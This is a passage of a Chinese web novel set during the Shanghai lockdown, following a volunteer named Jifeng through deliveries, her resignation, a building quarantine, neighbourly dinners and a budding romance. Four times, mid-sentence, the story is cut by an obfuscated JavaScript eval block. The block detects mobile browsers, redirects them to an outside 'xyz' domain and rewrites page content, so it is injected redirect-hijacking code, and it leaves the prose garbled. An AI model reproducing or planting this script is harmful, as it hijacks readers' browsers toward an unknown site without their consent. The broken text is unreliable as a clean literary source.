“好好好。”季节向大门口张望,已经过去将近五分钟,991的货架依旧没有新的包裹到来,这是前所未有的奇观,大概是这几天又发物资又订蔬菜包,大大缓解了居民找饭压力。 “羡慕你逃了。”小条将喷壶放回车筐,“昨天白天我出来接蔬菜包,回去加班到半夜。” “经常加班也太苦了点,条儿,注意保养。”顿了顿,季节小心翼翼地问了一句,“昨天白天你出来干活了?” 她的心中泛起一阵淡淡的失望。他出来接货,却没有叫她一起。尽管本市每日确诊数字惊人,解封遥遥无期,却也终有竟时。谁知道解封后他们还会不会再见面呢?因此在解封之前,每一次同处都像是纪念,她以为小条应该和她一样珍惜。 他歪头看了看季节,轻声说:“怕你搬不动,所以没叫你。昨天的蔬菜包很沉的,每个有三四十斤。” “是吗?”季节一下又高兴起来,“这么沉?你又进到车里往外传吗?其实你身上长的是机械伸缩手臂?” “去去去。”他下了自行车,领着她走回到大门口,“找个人替一下大门口的活,你来帮我计数。” “计数?”季节一时没有反应过来。 “今晚,又有一批蔬菜包到了。”他回头望了她一眼,“这次带你。” “来了!”季节笑嘻嘻地跟在他身边,连蹦带跳,动若脱兔。隔壁几个货架的志愿者来多了,正好借调两人过来,替换季节和小条。 专门来协助接蔬菜包的志愿者也陆续到场,四处搜刮板车,大门口一时间热闹非凡,规模仅次于发政府物资那天。一行人出了大门口,远远地看见卡车过来了。 一包一包的塑料袋,装了满满一车。袋子里有各色蔬菜肉类,季节心痛了一下,后悔自己因沉浸工作而错时订购良机。 小条一人跳上车,马克站在车厢边,与他珠联璧合地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718047|173813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 传递着。一个一个大包经由马克之手,传给板车边的壮汉,季节负责计数。 后来时间紧促,几个人一哄而上,踮脚从车厢里抓出几包,放上板车时各自报数,由本杰明负责把这些数加起来。这时季节也已经加入了抓大包的队伍,本杰明来接替她计数。 每个人都在尽量多捧几个大包下来,季节一次拿了四个,报数“四”,马克一次拿了七个,报数“七”。一辆板车堆满,大家便自动转移至下一辆,本杰明三头六臂地计数,不时紧张地大叫一声:“你们两个!一个一个报!”原来那两人报数声音撞在一起。 几辆板车往返无数趟,最终本杰明大喊够了够了,于是几人都涌进大门去,加入分配的队伍,将堆在大门里的汪洋大包按配额运送至各个弄。小条与卡车随行人员确认签字,送走卡车后立即回来,目光搜寻着季节。季节对他招了招手,就去配货了。 板车和自行车都上阵,还有不少人徒手拎着大包,送到各个弄的空地上,再由弄中各楼的楼长想办法带回去。 来沪之前,季节从不知道小区中的一个弄其实是一大片楼的合集,而非一条小胡同。好在并非每户都订购蔬菜包,因此满地大包的规模尚小于政府物资。 季节捞不到板车,也加入拎大包的行列,从爷爷山出发,一次拎两袋大踏步走到爹爹山,如此循环往复,直到那个弄的负责人宣布孙子已够,就再拎去下一个弄的地界。许多穿着小蓝衣的身影交错往来,如果上苍俯视人间,是否会观赏着三街坊上演的皮影戏。 小条留在门口接收快递外卖,尽职尽责地消毒和记录,不时拖着车出去送一趟,一个人就是一个团队。晚班如常进行着,与蔬菜包这一条业务线互相平行,组织架构相当科学。 忙完以后,恰好九点整。大家收摊,脱衣,互相消杀,愉快离去。小条留到最后,整理着记录单,把它们留在货架上,等待门卫大叔收去卖废纸。季节惊奇地问:“原来咱们的记录单从来都不留着吗?” 他笑出声来,说:“在你们事务所看来完全不合规,是吧?工作底稿竟然不留档,有问题啊。” 季节嘿嘿一笑,略微伤感地想到过了今晚,自己就不再是事务所高级税务咨询顾问。这唬人的名号,连带着种种痛苦或快乐的记忆,都将要告一段落。 地上还堆了几个蔬菜包,是卡车上的人友情赠送的,说如果谁家的蔬菜包有破损或缺漏,可以用这几包补偿。不过志愿者队伍水平过高,没有破坏任何一包。 小条叫住几个还没走的志愿者,叫他们原地瓜分,又自己拎起一包,双手递给季节:“给,拿回去吧。” 季节睁着眼睛,摇头推辞道:“我就不拿了,你带回去吧!” 小条却还是交给了她:“我都订了。干到这么晚不容易,拿上吧。” 季节接过来,看着地上剩余的几个大包,喃喃自语:“我们的OT。” “哈。”小条顿时笑倒,像傻狍子一样重复道,“哎,我们的OT!” “……” 回来洗澡洗衣,收拾完毕,季节破天荒地没有躺倒,而是坐在书桌前。职业生涯的最后一天,就这样热闹喧嚣地度过,而现在,一切都安静了,季节感到了怅然若失的孤独。 辞职时,与季节感情深厚的几个同事曾一起设想,离别那天会不会嚎啕大哭?没想到离别是在一个互不谋面的封城的夜里静静发生。 邮箱里有一封早就编辑好的告别信,按照事务所惯例,应在最后一天点出去。也正是由此引申出辞职的另两种叫法:交信,点了。忙季时,同事之间见面彼此问候,你怎么还不交信?我都准备点了。 点了以后,季节看着窗外那闪烁至深夜的霓虹大厦。正在播放《淡水暮色》的手机,忽然弹出一条消息:离职快乐。 14. 游戏搭子 小条发来的离职祝福,以及熬夜同事们对告别信的回复,为季节的职业道路画上句号。第二天早上起来时,工作账号已经停用,手提电脑也就无法开机,季节将它束之高阁,等待解封后归还至公司。 卸下重担以后,面前呈现的是更为长久的茫然。突然不用再背活,也不用再被经理恩威并施、以八比一的比例打巴掌给蜜枣,季节觉得自己像因故临时退休的人,可以做一万件事却不知从何做起。又想起一篇描写当年国企下岗潮的文章里提到,很多工人下岗后还照常骑自行车去单位上班,然后才想起自己已经失业,只能绕厂子一圈一圈地骑着…… 她翻看着昨晚同事们的回信,大家约定毕业快乐、前程似锦、来日再见,每一封回信都被她转发到私人邮箱留念。伤感的惜别之情,在陋室中弥漫。 离职像一道分隔符,从此季节不再每天踏进稳定的同事圈子,不再与那几个熟悉的温暖的同事合作。并且,她需要钱。如果不找到一份新的工作,那点低保户一般的存款会像沙漏里的沙子一样流逝。置身于如此迫在眉睫的生存漩涡里,她依旧不想重操旧业,而是准备成为一名自由舞蹈教师。 不知是这世界挑战了她,还是她在挑战这个世界。总之,季节苦中作乐地认为,这也算大学生自主创业了。 后来,轮到一号楼下去做核酸,104照例带头组织,季节和502挨家敲门提醒,走廊里喧嚣躁动,狗都叫了起来。 除季节每天外出当班时扔垃圾,其余住户都自觉地攒着垃圾,趁两天一次的核酸时带下楼,每人都拎着几兜。为隔绝病毒,隔壁阿姨用纱巾包住整个头,502的渔夫帽和护目镜则是一直焊在头上没摘过,人人五花八门,如同品种变异。 半路上遇到居委的老师,她手里拿着一把浇花用的巴掌大的喷壶,边走边对着四周的空气喷酒精。季节内心惊呼,想象中的方案还真的落地了。 核酸后回到家中,不久就在楼栋群里收到居委老师发来的视频。视频以第一视角记录了一只手拿着小喷壶向两边喷洒酒精的画面,天大地大,树茂楼阔,一把小喷壶发出的微弱的水丝,细密地渗入了世界中,就像一根雨丝落入土壤那样无声无息。 但楼栋群里的邻居们还是纷纷感谢和赞扬了居委老师。居委老师没说话,隔一会儿又将今日三街坊确诊报告发了出来,统计的是截止到昨夜24时的数据。若干新增确诊,已转入方舱,又有若干人康复后自方舱回到三街坊,继续居家隔离,不参与楼下核酸,而是由专人上门检测。 大家唏嘘了一阵,又彼此鼓舞了一阵。一个瘦小的港台籍男邻居说,据说现在病毒变异,没有此前那么厉害了啦,就是大号流感啦,大家不要太害怕啦。 502说,新的抗原试剂盒发下来了,放在楼门口,我带上来放在大家的家门前,等会儿再开门拿!万一沾了病毒,先让它散一散。楼门口大家的快递,我也顺手带上来了。 楼栋群里响起了一阵对她的致谢,接着104大哥又将里弄志愿群里的“派送中”转发过来,引起了另一阵致谢。 港台男说,大家都是在哪里买到的食品喔?为什么还能有包裹送来?我也想买,我不忍心看我爱人吃火腿肠…… 他家的女主人是个高大冷静的女子,看到此条告白仍旧一言不发,倒是楼里其他人纷纷表示为这种甜蜜的爱情所感动。 像例行公事一样浏览和参与讨论后,季节感觉好了很多,将全天时间做了切分安排。上午研究打游戏的策略和技巧,中午烹饪蔬菜包里的宝贵食材,下午进行每三天一次的大扫除,然后把落地式晾衣架当成把杆,练了一会儿芭蕾基训。 空间实在是狭小极了。建筑面积不足三十平的一室一厅,留给卧室的只有回身的地方。一伸腿就把小桌蹬飞了,一抬手几乎能摸到头顶上低矮的吊顶。季节心里数着节奏练了几下,索然无味,也担心会把室内砸了,最后要赔偿房东,只好停止。 幸好这时,瓶子在王者荣耀升星俱乐部里问:季节今天做什么了? 季节对她说:我在重温《末代皇帝》这部电影,里面有一句台词,howcanwesaygoodbye?另一个人回答,aswesaidhello. 老D冒了出来,说:别太伤感,节哀,离了是好事。 瓶子劝季节不要焦虑,事已至此,不妨先打一局游戏。这时是下午四点,群里那几个恰好都闲着,最忙的老凤也暂时交出了报告,在等待经理审阅。于是五人进入线上会议室,一边交换封城背景下的种种传言和情报,一边登陆游戏。 只见开局界面上,五个青铜标签整整齐齐的,是游戏体系中最低的玩家级别。老盆感叹道,这游戏流行这么多年了,该玩的人都玩过了,现在能找出五个青铜新手凑一局也不容易了。 季节近来有所进益,不再死个不停,大大提升了这支队伍的战斗力。一轮输完后,季节返回游戏大厅,看到本杰明也在线。几人改变战略,由季节请来资深的本杰明参战,而王者荣耀升星俱乐部这边每次只派四个人上阵。几个狐朋狗友在会议室里激烈讨论,每一轮用排列组合的方式组队,企图控制变量,以研究到底是谁导致战败。最后结论是任意一种组合均可导致战败。 如此一来,五人之间更是谁也不嫌弃谁。本杰明并不参与到会议室里,只是无声地助战。几人在会议室里谈天说地,有种秘密地说悄悄话的快意。 打到将近五点,季节吃了一个馒头,准时下去当班。本杰明不是今晚的班,令季节十分遗憾,她本来总结了一些战术方法,想见面时跟本杰明讨论。 小条大步向季节走来时,已经是晚班的下半场。季节忙着往板车上堆货,他一边匆匆换上小蓝衣,一边对季节说:“今晚又加班,来晚了。” “没事,今晚来的人多,刚才他们在轮流跟我搭档。”季节脸上痒得难受,不停地铤而走险,用袖子抹开黏在额头上的碎发。 “别动。”他轻轻拨开季节的手,帮她拂去发丝,“都干了半天的活了,袖子上得有多少细菌病毒?就往脸上招呼。” 季节感受到他的指腹轻柔地划过自己的额头,抬起头来愣愣地看着他。剑眉之下,那双寒星一样的眼睛深深凝视着她,就像他们第一天初见时那样。 四目相对不过片刻,季节移开目光,口中虚张声势道:“看我干嘛,我要去送货了,你留下看门吧。” “哦。”他戴好手套,拿起货架上的纸笔,忽然弯下腰来说道,“我在看你额头中央的发际线有个向下的尖, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718048|173813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好像猴哦。” “去你的!”季节大怒。他呵呵笑着躲开,季节单手推着板车的推杆,迈着敦实的大步走远了。小号板车跟在她身侧滑行,像敞篷版的行李箱一样。 被他触碰过的地方还留有温暖的、略带粗粝的感觉,被凉风一吹,才轻飘飘地散去。 由于志愿者队伍新配备两辆电动三轮,送货压力被大大缓解。几个男志愿者驾驶三轮在小区内送货,敞开的后车厢里空间充足,每次装了一货架外加一地的包裹,尚且没有装满。 如果不是在这样的历史性场合下,季节根本不会发现三街坊人才辈出,平时在摩天大厦里工作的白领金领们原来还会开电三轮。 这会儿是今晚的淡季,男志愿者驾驶着电三轮回来后,沉默地偏了偏头,两个女志愿者一声不吭地跳上车厢,身手勇猛利落。男志愿者一脚油门,三轮驶向夜空,两个女生坐在车厢里吹风,沧桑地仰头,看着沿路老楼老树向后退去。 季节笑着看着他们开进小区深处。多么难得的自由时刻,仿佛是对这些无偿扛大包的年轻人的奖励。三街坊居民整体素质过硬,多次向志愿者队伍表达感谢。但也有人骂志愿者送货太慢,说他们明明是拿了工资和好处的,还不给我加急送。 还有人辛苦订来的食品不翼而飞,一口咬定是志愿者利用职权之便昧下了,后来发现是被人偷了。 小区里,已经发生了多起偷快递的案件。 季节回到小条身边,小条问道:“不用工作的感觉怎么样?” “还可以,还可以。”焦虑和烦躁又开始露出苗头,季节决定等到自由职业有眉目以后再详谈,“今天下午抽空打了几轮游戏,可惜还是全输了!” “找个男生带你打呀。”小条若无其事地看着大门外,轻声说了一句。 “是呀,我们就是有男有女的。”季节觉得他今天说话有点奇怪,老盆他们是男的,不也打得一样差?反倒是有两个女生朋友打得好,可惜这个月是季度结束之后,她们忙着出各类报表,没空玩游戏。 他愣了一下,才淡淡地说:“哦。” “本杰明今天下午就带我打了,真是好战友。”季节中肯地评价道,“他打得很好,走位变化多端,头脑也很灵活。” “那还一直输啊。” “……” 小条看起来冷冷的。季节察觉到他周围的空气像是上冻了,急忙就此打住。快递员飞驰至大门外,将几个编织袋放上991弄的货架,小条闷头接应。 待到他忙完,季节小心地说:“是不是我辞职以后的生活太清闲了,刺激到你了?你今天还是很忙吧?”有道是当着矮人不说短话,她有点后悔,方才应该说辞职休息一点也不好、都没钱花之类的。 “忙。”他头也不抬地答了一句,就去找来电三轮,闷闷地往后车厢里码货。季节也往上码:“你会开三轮吗?” 他恩了一声,跨上三轮就骑走了。 整个晚上,小条没再和季节说话。季节莫名其妙,见他爱搭不理,也就闭口不言,心想这小子难道会周期性自闭,就像刚认识那时候一样,现在大概是又到了曲线的下行部分。 让她没有想到的是,晚班结束时,小条径直离去,连一声再见也没有说。 15. 五月的笼子 还没来得及再见到小条,他们就暂时性地失联了。 五月开始的第一天,一号楼404室大爷不幸确诊为病毒阳性,出检测结果后几小时内,即被转移到方舱,其独居的一室户这下真的成了404。楼栋群里,在104大哥、502女邻居和港台男的带领下,大家纷纷安慰他过几天退烧了就能出舱,没有一个人抱怨他怎能感染病毒、将一号楼变成传染源,季节看了感到十分欣慰。 按照政策要求,一号楼全体居家隔离,楼门口拉起了封条。身穿白色防护服的专职人员坐在楼前看守,由于日光逐渐炎热,他身后搭起了简易活动凉棚。 每天晚上,楼下会出现两个巨大的垃圾桶,邻居互相错开时间,纷纷下楼扔垃圾,脚尖不会踏出门前的台阶。而在其余的时间里,核酸检测人员会每日踏上这门前的台阶,为楼里的居民进行核酸检测,大家在走廊楼梯上排队。 季节第一天去排队时,还在跟隔壁阿姨交谈。接着发现没人说话,大家似乎都担心飞沫会从口罩的边缘潜入空气中,造成不可挽回的感染。季节为自己的冒失感到悔恨和抱歉,从此也和其余人一样沉默。 港台男和他高大的爱人一起现身,以弱小的身板挡在他爱人前面,手持一把护肤用的小喷瓶,向穿大白服的核酸检测人员喷酒精,企图制造一面隔离病毒的水雾屏障。大白对他立起一只手掌,说:“No!酒精有溶解性和渗透性,会让我们的防护服失效。” 他马上收起喷瓶,讪讪地道歉说:“不好意思,不好意思,我之前不知道,我想你们到处测核酸,可能衣服上沾了病毒,我怕我的爱人被感染啦……” 这样的隔离要持续一周,如果这一周内出现新增确诊,则继续顺延解除封条的时间。季节收到封楼消息后,第一时间跟花泽类队长报备过,这一周不会再排她的班。 季节握着手机,盘算着要不要也告诉小条一声。万一季节说,我们楼里出了确诊,然后小条说,关我什么事?或者嫌弃地说,沃日,离远点,你不要顺着电话线传染给我…… 不过,季节并没有纠结太久。小条消息灵通,不等她开口,竟主动打了电话过来。季节的手机差点从手里飞出去,她诚惶诚恐地接了起来。线路接通,两人能听见对面轻微的呼吸声,却一时间不知道怎么称呼彼此。 小条顿了一下,说:“你们楼封了?”清澈而醇厚的嗓音从电话里传来,就好像两人之间隔了很远距离。 季节苦涩地说:“是啊,封条拉起来了,你如果过来送货,应该能参观一下。” “那你在哪。”他低声问道,“家里还是?” 季节愣了一下,才想起每日从居委流传出来的统计信息里不会具体到哪一户感染,于是赶紧说:“我没去方舱,不是我。” “哦。”他好像松了一口气。 为打消他的顾虑,季节极力强调:“我的抽油烟机早就糊起来了,平时地漏也都盖住,开窗户只开一条缝,应该不会携带病毒的,你不要太紧张。”病毒的潜伏期有一周左右,一个看起来安然无恙的人,也许正携带着病毒,无声无息地传染着其他人。一想到自己昨天还跟着小条转悠,她就觉得非常心虚,生怕小条用看待病毒体的眼光看待她。 “不是怕你传染我。”他听起来好像在生闷气,隔了一会儿,拖长声音说道,“这回你可有时间打游戏喽,本杰明还没上线吗?” 不知是从多大年纪开始,季节发现人有时会对身边的人产生若有若无的、难以启齿的嫉妒,尽管这人也许从没想过自己也会有嫉妒心。现在,从小条的种种奇怪表现来看,她判定是自己做了小条渴望而不敢做的事,享受着出格而任性的悠长假期,衬托出他饱受压榨而身不由己的无奈人生,使得他心生落差了。否则他怎么一直抓着季节打游戏的事不放? 作为一个事务所出身的人,季节非常理解这种心情,一个人成天起早贪黑,加班到凌晨,看着别人轻而易举地过上了游手好闲的生活,怎么能心理平衡?她连忙安慰道:“我们一天也就打个三五局,大家还是很忙的,生活都不容易……” “三五局。”他哼了一声,“没事我挂了。” “好的,好的,你忙。”季节几乎要隔着电话鞠躬了。 “……真没什么要说的了?” 季节心念一动,突然大吼一声:“别挂!我还有话要问。” “什么话?”那边精神一振,来了一点兴致。 季节一口气说道:“条总,你到底叫什么名字,万一解封以后真的失散了,我好在电线杆上贴寻物启事呢。” “寻物?”他凉凉地说,“再说电线杆上贴的可都是重金求子吧。”说完就道了声漂流瓶再见,直接把电话挂断。 “脾气还不小。”季节皱着眉头放下手机,发现104大哥把派送中的包裹号码转发至楼栋群,刚好有她的外卖,她就急忙戴上口罩跑下去拿了。 小条静悄悄的,不再跟她说话。居委又在组织订蔬菜包,季节猜想他一定还在主持工作,接车卸货,却也不跟她分享分享外面的事。她点开他的微信名片,发现他的网名又改了:小封条。 …… 季节觉得自己被深深地嘲讽了。 好在,封楼的寂寞并没有持续太久,因为隔壁603阿姨邀请季节去吃饭。 起初,一切都是从那几袋整只鸡鸭开始的。离职前,前东家发的慰问福利大礼包里有囫囵个的鸡鸭,季节没有与之相称的铁锅和菜刀。后来政府物资里也有整只小鸡,季节将这些全都送给了隔壁603的阿姨。阿姨推辞了半天,说:“哦哟,这多不好意思,你隔壁601的小伙子也把鸡鸭送给我了,我一个人吃不完的呀!那我做好了请你们来吃,一定来噢!” 季节当时并未当真,认为现阶段是静默期间,串门做客的可行性较低。想不到,在封楼的第一天傍晚,阿姨真的来敲她的门,大声说自己把饭做好了,叫他们收拾一下,立刻来家里吃饭。从打开的门缝里,季节第一次看见了没戴口罩的阿姨的脸,像一轮圆月一样十分可亲。 季节关上门后,阿姨又以同样的程序敲了隔壁601的门,就回去盛菜了。留神细听,601不久就出来了,迈着不紧不慢的步伐走向阿姨家。季节家夹在两户中间,门厅的窗户开向走廊。601经过这扇小窗,他的身影投在贴着窗纸的玻璃上,留下一个一闪而过的灰色影子。 既然601已经出席,季节也不再犹豫,自己拿着一副碗筷就去了。一进门,坐在桌边的年轻男生抬起头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718049|173813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,原来这就是住在隔壁的601,平时只能在楼栋群里看见他顶着一个困倦的狗的头像,偶尔在讨论中发言一二。季节跟阿姨和601笑着招手问好,落座开饭。 囫囵个的鸡鸭被阿姨巧手解剖,混合着有限的配菜,做成一道道海派佳肴。阿姨坐在两人对面,一拍手,说:“哦哟,我们住了这么久邻居,今天才见到面。” 季节老练地说:“阿姨,多亏您把我们召集到一起了。”601也点头微笑。 “你是东北的。”阿姨看着季节笑道,又对601说,“你是四川的。” 两人都回答是,季节转头笑着对601说:“我们正好在祖国版图的对角线上。”这一转头,601的大头近在眼前,季节才发现此男的头发竟长于花泽类队长,刘海掩映着颧骨,秀气的脸上胡子拉碴,一笑还有眼角干纹,看起来十分苦命。 阿姨又一拍手:“哦哟,我们真是天南海北的,今天相聚在这里。” 于是三人纷纷夹菜,阿姨不停地劝两个小年轻多吃,又不停地关心他们平时工作累不累,老家那边疫情严不严重。季节为了表示礼貌和尊敬,每次迅速咽下去而后虚掩着嘴答话,以免飞沫传播;或是停筷专注地聆听阿姨说话,不断点头附和。 就这样,季节一直没有正经吃菜,而601更是举止文雅,虽然话不算多,却细嚼慢咽,半天才伸一次筷子。季节根本没吃饱,心里不住抱怨,这601怎地连吃饭也如此秀气,搞得自己也不好意思多夹。 趁着阿姨给两人盛汤的空档,季节埋头狂吃几口,垫了个半饱,说话也从容起来:“有个好笑的事,我都快笑死了,你们听说了吗?之前有个人在小区里跑,好像要翻墙出逃,志愿者在后面大呼小叫地追,有个身手了得的姐姐,把那人制服在围栏边,这时才发现那人是在追狗……” 601又露出苦命的微笑:“听说了,这人其实是我。” “……” 虽然阿姨立刻为季节打了圆场,但季节依旧面上无光,心想下次给阿姨还礼时,必须同时给追狗男也带一份,用实打实的好处表达歉意。 转念一想,季节感到奇怪:“狗哥,你家里一直养狗吗?怎么从来听不见狗叫?” “它不会叫。”狗男摇了摇头,“封城之前我们每天早上出去遛,确实没碰到过你。” “是的,我上班晚,下班也晚。”季节点头表示理解,心里感到有些同情,原来这是一条哑狗,还向往着远方,一声不吭地自己冲出门去。 谈笑声中,一顿饭结束,阿姨说什么也不让季节帮着刷碗。大家彼此添加微信,成为私人朋友,而后各自散去,没人知道在一号楼的顶楼,曾发生了一场秘而不宣的聚会。次日,季节从快闪超市里抢来酸奶,回赠给阿姨。 阿姨得到馈赠,开始频繁地给季节送吃的,炒好的菜装在盘子里端过来,吃完洗干净再还回去。而季节无以为报,只得不停地刷外卖,买来一些菜肉献给阿姨。阿姨在极力撕扯之后收下这些回礼,又会将食材精心烹饪后分给季节。二人如此循环不息,填补了季节无事可做的空白。 直到封楼的第七天,小条突然复活了。他发来一句莫名其妙的话: 牢记“三件套”,做好“五还要”。 16. 秋千夜谈 思考了一会儿以后,季节慎重地回复道:“三件套和五还要,分别指什么?”她猜测三件套中口罩必占其一,另外的两个不能确定。五还要的范围就更加广泛,还要消毒,还要核酸,还要拖车?选项可多达无穷。这样的防疫标语应该发到大群里,她不确定小条是不是一时手误,错发给她。 小条答非所问地回复道:“注意防范,最近全市每天单日新增就要上万人次。对了,你最近怎么不来搬货?昨天都缺人手了。” 季节一头雾水,心想这人到底在对谁说话?然而还没有等到她回答,那头又自问自答道:“哦,对了,你们楼封了,我都忘了。” “幼稚!”季节如释重负地笑了。向后一个倒仰,季节咣地一声弹射到床上,裹着被子扑腾打滚,从被子的波浪之间露出眼睛,重新看了一遍他发来的消息。小条以假装失忆、没话找话的方式,终结了两人之间的冷战,这一崭新的局面,预示着季节的大获全胜。 为了保全小条的体面,她没有揭穿他装模作样的设问句,而是顺着他说道:“是的,我们楼一周以前封了,不过楼里一直没有新感染的人。如果今天全楼的核酸结果还是阴性,明天就可以解封了。” 那边还在端着:“恭喜恭喜。没什么问题的话,明天来卸物资吧。” 季节哼哼一笑,故意激怒他:“这个已经由队长安排过了,他才是负责调遣人员这一块的。” 如果小条站在她面前,一定又会轻拍她的头顶。隔着屏幕,小条傲然回答道:“小学妹,我可是你学长,我在以学长的身份呼唤你归队。” “学长,你对近期的事情记不清,对再以前的事倒是印象深刻,念念不忘。”季节装出一副惊讶的口吻。 “感动了?” 季节却说:“这可是老年痴呆的前兆啊!” “……” 这一天的核酸检测结果,在一号楼居民略带焦虑的盼望里姗姗来迟。静默以来,实验室里的工作人员都在昼夜加班,以便尽快得出市民的检测结果、并上传至信息系统。季节打开手机程序,调出自己的健康码,硕大的二维码仍旧保持绿色,没有变红,令她长舒一口气。点开健康码下面的核酸记录,最后的一次核酸,果然是阴性。 与此同时,楼栋群里其他邻居也在纷纷报喜。季节觉得一号楼像一座飞在空中的古堡,穿越狂风暴雨、躲避电闪雷劈,终于安全平稳着陆。明天,一号楼正式解封,对季节来说,这意味着她可以回去当班,对其他邻居来说,这意味着他们将借由外出扔垃圾和核酸的机会,感受越来越和暖的春风。 了却一桩心事后,季节在淡水暮色的旋律中缓缓步入会议室,王者荣耀升星俱乐部的全体成员都在线上了。老D代表大家祝贺了季节:“季总,明天又能出去勾引你的蒙面学长了啊。” “那也是你们的学长。”季节纠正道。 “不敢,不敢,我们哪能跟你抢。”老D的声音贼眉鼠眼地传了过来,“你确定这么优秀的学长一直单身到现在?” 季节诚实地说:“我也想过这问题,而且没想出来答案。只是,我觉得他不会骗人。” “那你有没有摔倒在他身上、扯下他的口罩啊?”瓶子忧心忡忡地说,“会不会是下半张脸长得太失策了?” 季节深思熟虑地说:“也不排除这种可能。我琢磨过了,如果真是这样,就叫他一直戴着口罩,学习斯拉夫人,走神秘的遮面路线。” 几个老字辈的弟兄发出了不赞成的声音,瓶子却安慰道:“没关系,你先摔倒在他身上,扯下他的口罩再说。” 老盆催着季节赶快把助阵的大将请过来,他说自己研究了新的招数,叫做鸡爪流,已经迫不及待上场一试。老凤也闷声闷气地说,我打两把就要继续加班了。 季节嘴里答应着,好好好,就点开游戏大厅,滑动着花花绿绿的好友列表。凡是用微信号登陆游戏的微信好友,都显示在列表中,此时只有十几人在线,头像是亮起来的。 划到本杰明,季节单击其头像,发出组队邀请。想不到好友列表突然一哆嗦,本杰明的头像被挤下去一位,季节点到了601狗男的头像。一封冒昧的邀请,就这样发给了狗男。 “我靠!”季节紧张地戳着取消按钮,手指尖都快要把屏幕戳出火星子,好在成功取消。 季节假装无事发生,重新单击本杰明头像发出邀请。离奇的是,好友列表再次哆嗦了一下,本杰明的头像又被挤下去,这封邀请又发给了狗男。 “我靠!”季节几乎崩溃,疯狂点击取消按钮。虽然两次都取消成功,但记录却留在聊天界面上,无法销毁。线上会议室里,四个人只听见季节在这边隔一会儿骂一句,隐约伴随着乒乓响动,都十分纳闷,问她怎么发个邀请还要这么久。 季节维持着表面的淡定:“我连着两次都发错给隔壁哥们,然后点取消。” “嚯。”老D咂嘴道,“咬金哥,你把我秀到头皮发麻,你太会了,真想不到你……” 季节怒道:“闭嘴。” 老盆却看热闹不嫌事大:“他来敲你门没有?半夜会不会来敲你门?是不是以为你在暗示他?对了他单身么?” 瓶子也说:“如果他下半张脸长得好看,可以考虑的。” “你们几个!”季节大喝一声。 后来,本杰明真尊总算被请进了队伍,季节这边依旧是每次出四个人,余下的那个人进到游戏中观战,在旁边指指点点。五轮游戏输完,大家都十分疲惫,一哄而散。季节觉得自己这边总拉着本杰明打这必输的游戏,担心他嫌浪费时间。本杰明却大气地说,无妨,平时跟我打游戏的人都进方舱了,不跟你们打,我也没别人了。 …… 在退出游戏之前,季节又扫了一眼大厅里的好友列表。这一次,小条的头像竟然亮着,像一个坐得端端正正的小学生,在等待被谁的眼睛看到。 季节歪头打量了一会儿,给小条发去一条消息:“条总,今晚没加班写报告啊?” 那边很快回复道:“下楼。” 季节犹犹豫豫地出现在楼门口时,小条已经站在自行车棚附近,一手随意地插在裤兜里。看到季节那探头探脑的样子,他笑了一下,对她招手:“过来。” “我们楼,要到今晚24时,也就是明天0点,才正式解封呢。”季节站在门前台阶上,迟迟不往下迈步,“现在出来……真的好吗?”楼前的看守人员,倒是已经携带遮阳棚子撤离,两个垃圾桶也不见了。一号楼恢复了普通的静默状态。 小条看了一眼表,一本正经地说:“现在是晚上23点,那我们一起再站一小时,你再出来。” 季节说:“那也不用,你会静脉曲张的。我们可以就这样隔空说话啊,拿两个纸杯穿个绳子……” 小条笑了起来,一步一步朝季节走来,拉起她的胳膊。两人在夜色中潜行,三街坊的昏暗路灯被连绵的树木淹没了。七拐八拐,豁然开朗,上次的秘密花园尽在眼前。 他率先坐上秋千,季节便也坐上另一架。借着背后吹来的风,季节轻轻荡着,听小条问道:“这七天干什么了?” 季节回答道:“琢磨下一步的自主创业。” “喔,很能干嘛,小老板。”小条伸手拍了拍她的头,酸溜溜地说道,“没跟你的本杰明哥哥打游戏啊?” “打了,输了。”季节言简意赅。 小条顿了顿,轻轻说道:“为什么不找我打。” “你真会打游戏? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718050|173813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”季节略感惊异。 